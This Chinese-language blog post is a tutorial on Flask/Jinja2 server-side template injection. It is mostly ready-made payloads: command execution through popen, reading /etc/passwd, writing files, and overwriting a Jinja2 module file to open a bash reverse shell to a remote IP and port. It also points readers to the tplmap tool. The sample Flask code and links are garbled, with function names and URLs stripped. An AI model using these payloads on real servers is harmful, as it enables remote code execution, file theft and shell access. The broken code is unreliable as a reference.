SSTI (服务器模板注入)

时间:2024-11-14 08:29:46

 先来一波flask ssti漏洞的代码。

#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@("/")
def index():
    name = ('name', 'guest')
    t = Template("Hello " + name)
    return ()
if __name__ == "__main__":
    ();

测试如下:

ip?name=guest.{{1*1}}

ip?name=guest.{{1+1}}

 emmm,url编码一波

ip?name={{'aaa'.upper()}}

由此就有大神找出了任意命令执行的方法了。

在python里要执行系统命令需要import os模块。

想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册

需要在上面的代码里加一句:

['os'] =os

 如果没有加这一句,直接使用os中的方法会报错。

尝试了一波,没成功。附上大神的payload

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python2 

#注入变量执行命令详见 /articles/web/
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

 也可以通过写jinja2的执行命令; jinja2的模板会load这个module,而且这个 import了os模块, 所以只要能写这个文件,就可以执行任意命令:

#假设在/usr/lib/python2.7/dist-packages/jinja2/, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/').write("\('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

新手最好还是用tplmap

建议使用以下github链接从github存储库克隆该工具来安装Tplmap

git clone /epinna/tplmap

下载完成后切换到tplmap目录下,运行

./ -u <url>

执行命令后,会测试目标url查找代码注入机会

接下来,就不多说了 

参考: 

/articles/web/

/articles/web/

/articles/web/

http:///technology/